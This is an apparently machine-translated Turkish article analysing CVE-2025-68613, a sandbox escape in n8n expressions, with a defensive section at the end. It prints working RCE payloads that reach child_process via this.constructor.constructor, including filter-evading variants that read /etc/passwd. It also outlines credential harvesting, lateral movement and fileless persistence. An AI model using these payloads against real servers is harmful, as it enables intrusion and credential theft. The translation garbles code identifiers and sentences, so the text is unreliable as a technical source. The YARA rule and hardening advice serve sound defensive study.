2025'in kapanmakta olan güvenlik ortamında, güvenlik bilgilerinin açıklanması CVE-2025-68613 (CVSS 10.0) sektörü kinetik bir silah gücüyle vurdu. Dünyanın en popüler açık kaynaklı iş akışı otomasyon aracı olarak, n8n sayısız işletmenin temel iş mantığını desteklemektedir. Ancak, kimliği doğrulanmamış (veya düşük ayrıcalıklı) saldırganların keyfi kod çalıştırmasına olanak tanıyan bu güvenlik açığı, modern "Düşük Kodlu/Kodsuz" platformların mimari Aşil topuğunu tamamen ortaya çıkarmıştır.
Kıdemli güvenlik mühendisleri ve Red Team araştırmacıları için CVE-2025-68613 bir "Doğrulama Hatası "ndan çok daha fazlasıdır. Bu durum, güvenlik sorunlarının bir arada istismar edilmesine ilişkin bir ders kitabı niteliğindedir. Node.js Dinamik Çalışma Zamanı, Nesne Yetenek Modeli Arızasıve Prototip Kirliliği.
Bu makale, V8 motorunun iç kısımlarına derinlemesine dalmak, sanal alan kaçışının her baytını yapısöküme uğratmak ve kurumsal Mavi Ekipler için kapsamlı bir tespit ve savunma el kitabı sağlamak için yüzeysel güvenlik açığı raporlamasını terk ediyor.

Saldırı Yüzeyinin Yapısını Bozma
n8n'in temel değer önerisi "bağlanabilirlik "tir. Binlerce entegrasyon düğümü aracılığıyla veritabanlarını, SaaS hizmetlerini ve dahili API'leri bir araya getirir. Dinamik veri işlemeyi mümkün kılmak için n8n, kullanıcıların JavaScript ifadelerini düğümlerin içine yerleştirmelerine olanak tanır. {{ }} Sözdizimi.
CVE-2025-68613'ün ortaya çıkmasından önce, n8n yerel Node.js'ye güveniyordu vm modülünü kullanarak kullanıcı tarafından sağlanan bu kodu izole edebilirsiniz.
Neden Node.js vm?
Node.js vm modülü, bir V8 sanal makine bağlamında kod derlemeye ve çalıştırmaya olanak tanır. İzole edilmiş bir global nesne sağlar (Bağlamlandırılmış Sandbox).
- İdeal olarak: Kod, sanal alan dışındaki değişkenlere erişemez.
- Gerçeklik: Bu
vmmodülü güvenlik camiasında yaygın olarak "Broken by Design.”
Saldırı Yüzeyi Analizi:
- Giriş Noktaları: İfade girdisini kabul eden herhangi bir düğüm (örn,
Set,Fonksiyon,HTTP İsteğidüğümler). - Yürütme Akışı: Kullanıcı Girdisi -> Dize Ayrıştırma ->
vm.runInNewContext()-> Yürütme. - Kusur: Sandbox içindeki herhangi bir nesne harici bir nesneye referans verdiği sürece (örneğin, ana bilgisayar ortam değişkenlerini
Bubağlamında), bir saldırgan JavaScript'in Prototip Zincir Tırmanışı kum havuzundan kaçmak için bir mekanizma.
Teknik Derin Dalış-Prototip Zincirinden RCE'ye
CVE-2025-68613'ün istismar mantığını anlamak için aşağıdakileri kavramak gerekir kurucu özelliğini JavaScript'te kullanabilirsiniz.
JavaScript'teki hemen hemen her nesnenin bir kurucu özelliği onu oluşturan işlevi işaret eder.
({}).kurucu===NesneObject.constructor===Fonksiyon
Çekirdek Kaçış Mantığı: this.constructor.constructor
n8n'in kısıtlı ortamında, bir saldırgan doğrudan require('child_process'). Ancak saldırgan mevcut yürütme bağlamına sahiptir: Bu.
- Hop 1:
Busandbox içindeki bağlam nesnesidir. - Hop 2:
this.yapıcıbuNesnekum havuzunun içinde kurucu. - Hop 3 (Kritik):
this.constructor.constructorçözer Ev SahibiFonksiyonkurucu.
Bu neden korumalı alanı ihlal eder? Çünkü V8 motoru, bağlamlar arası nesne etkileşimlerini ele alırken, kök nesne dışarıdan kaynaklanıyorsa yapıcı zincirini harici tanıma çözümler.
Saldırgan, Ana Bilgisayarın Fonksiyon kurucusunda çalıştırılan anonim bir işlevi dinamik olarak oluşturabilirler. Ev Sahibi Bağlamı. Bu anonim fonksiyon sandbox kısıtlamaları ile sınırlandırılmamıştır ve global süreç nesne.
Tam Exploit İlkeli
Saldırgan tarafından oluşturulan yük basit bir dize değil, Node.js modül yükleme sistemini yeniden yapılandırmak için tasarlanmış kesin bir JavaScript kodu parçasıdır.
JavaScript
'// Aşama 1: Ana Ortamın İşlev Kurucusunu Edinme const ForeignFunction = this.constructor.constructor;
// Aşama 2: Dinamik olarak 'process' nesnesini döndüren bir fonksiyon oluşturun // Bu kod, sandbox'ı atlayarak Host Context'te yürütülür const getProcess = ForeignFunction('return process');
// Aşama 3: Süreç tanıtıcısını almak için fonksiyonu çalıştırın const proc = getProcess();
// 4. Aşama: 'require' tanıtıcısını almak için mainModule'e erişin const require = proc.mainModule.require;
// Aşama 5: 'child_process' dosyasını yükle ve sistem komutlarını çalıştır const result = require('child_process').execSync('id').toString();`
Bir n8n içinde {{ }} ifadesi, bu mantığın tek satırlık ölümcül bir enjeksiyona sıkıştırılmış halidir.
Savaş ve Gizleme - Statik Filtreleri Atlama
CVE-2025-68613'e karşı ilk savunma girişimlerinde, bazı geçici yamalar regex kullanarak process, constructor veya require gibi anahtar kelimeleri filtrelemeye çalıştı.
Ancak JavaScript gibi son derece dinamik bir dil için statik filtreleme boşunadır.
Gizleme Varyantı A: Dize Birleştirme ve Kodlama
Saldırganlar, JavaScript'in anahtar kelimeleri bölme veya kodlama esnekliğinden yararlanarak imza tespitini atlatırlar.
JavaScript
{{ // "yapıcı" algılamayı atlama this['con'+'structor']['con'+'structor']( // "return process" algılamayı atlama 'return p'+'rocess' )() .mainModule.require('ch'+'ild_pr'+'ocess') .execSync('cat /etc/passwd') }}
Gizleme Varyantı B: Yansıtma ve Proxy
Gelişmiş saldırganlar Reflect.get özelliklerine dinamik olarak erişmek için Soyut Sözdizimi Ağacı (AST) analizinin çağrı zincirini izlemesini zorlaştırır.
JavaScript
{{ // Reflect kullanarak yapıcı anahtarını dinamik olarak bulma const c = Reflect.get(this, Reflect.ownKeys(this).find(k => k.toString() === 'constructor')); // Yürütme ile devam edin... }}
Bu, basit regex eşleştirmesinin CVE-2025-68613'ü düzeltemeyeceğini göstermektedir; düzeltme, altta yatan Nesne Yetenek Kısıtlamaları.
Post-Exploitation-Neden n8n Mükemmel Bir Sahil Noktası
n8n sunucusunu tehlikeye atmak (bir Kabuk elde etmek) sadece başlangıçtır. APT (Gelişmiş Kalıcı Tehdit) öldürme zincirinde n8n benzersiz bir stratejik değere sahiptir.
Kimlik Bilgisi Toplama
n8n veritabanı (tipik olarak SQLite veya PostgreSQL) tüm bağlı hizmetler için kimlik bilgilerini depolar. Şifrelenmiş olsa da, RCE'ye sahip bir saldırgan şifreleme anahtarını (genellikle ortam değişkenlerinde veya yapılandırma dosyalarında) okuyabilir ve böylece şifreyi çözebilir:
- AWS IAM Kullanıcı Anahtarları
- Stripe / PayPal API Anahtarları
- Kurumsal Veritabanı Bağlantı Dizeleri
- Slack / Discord Bot Jetonları
Yanal Hareket
n8n sunucuları genellikle intranetin derinliklerinde konuşlandırılır ve çeşitli dahili API'lere erişmelerine izin verilir. Saldırganlar n8n'i bir SOCKS Proxyveya diğer dahili hizmetlere (Jenkins, GitLab gibi) prob istekleri göndermek için mevcut HTTP İstek düğümlerini doğrudan değiştirerek dahili varlıkları etkili bir şekilde tarayabilir.
Kalıcılık
Geleneksel kötü amaçlı yazılım ikili dosyaları EDR çözümleri tarafından taranır. Ancak bir saldırgan n8n'de her 5 dakikada bir çalışan ve kötü amaçlı JavaScript çalıştıran bir "Cron" iş akışı oluşturursa, bu arka kapı Dosyasız. Tamamen normal iş mantığının içine karışarak tespit edilmesini son derece zorlaştırır.
Mavi Takım El Kitabı-Tespit ve Savunma
Kurumsal Güvenlik Ekipleri (Blue Teams) için CVE-2025-68613 ile yüzleşmek, resmi yamayı uygulamaktan daha fazlasını gerektirir.
Trafik İmza Tespiti (SIEM/IDS)
Aşağıdakileri içeren HTTP istek gövdelerini izleyin {{ gibi anahtar kelimeleri de içeren kurucu, süreç, yöneticiveya yumurtlamak.
YARA Kuralı Örneği:
rule DETECT_N8N_RCE_ATTEMPT { meta: description = "n8n'i (CVE-2025-68613) hedefleyen ifade ekleme girişimlerini algılar" severity = "Kritik" stringler: $expr_start = "{{" $keyword1 = "constructor" $keyword2 = "process.mainModule" $keyword3 = "child_process" $keyword4 = "String.fromCharCode" condition: $expr_start ve (2 of ($keyword*)) }
Günlük Denetimi
Anormal durumlar için n8n yürütme günlüklerini denetleme HATA mesajlar, özellikle aşağıdakileri içeren kayıtlar Global değişkene erişim reddedildi veya ReferenceError: süreç tanımlanmamış. Bunlar genellikle bir saldırganın sanal alan sınırlarını araştırdığını gösterir.
Mimari Sertleştirme
- Docker İzolasyonu: n8n kapsayıcılarını şu şekilde çalıştırın
-cap-drop=ALLGereksiz tüm Linux Yeteneklerini kaldırmak için. - Çıkış Trafik Kontrolü: Ağ İlkelerini, n8n konteynerinin beyaz listede olmayan genel IP'lere bağlantı başlatmasını yasaklayacak ve ters kabukların C2 sunucularına bağlanmasını engelleyecek şekilde yapılandırın.
Sonuç: Düşük Kodlu Güvenlik için Bir Dönüm Noktası
CVE-2025-68613, Low-Code/No-Code platformlarının güvenlik tarihinde bir dönüm noktasını temsil etmektedir. Bize şunu hatırlatıyor Esneklik ve Güvenlik genellikle sıfır toplamlı bir oyundur.
Bir programlama dilinin tüm gücünü (JavaScript ifadeleri gibi) sıradan kullanıcılara verdiğimizde, saldırganları çalışma zamanı ortamımıza etkin bir şekilde davet etmiş oluruz. Gelecekteki güvenlik savunmaları artık kırılgan uygulama seviyesindeki kum havuzlarına güvenemez, ancak Tasarımla Güvenli mimarileri, örneğin kullanıcı kodu yürütmesinin gerçek bellek güvenli izolasyonu için WebAssembly (Wasm) kullanımı gibi.

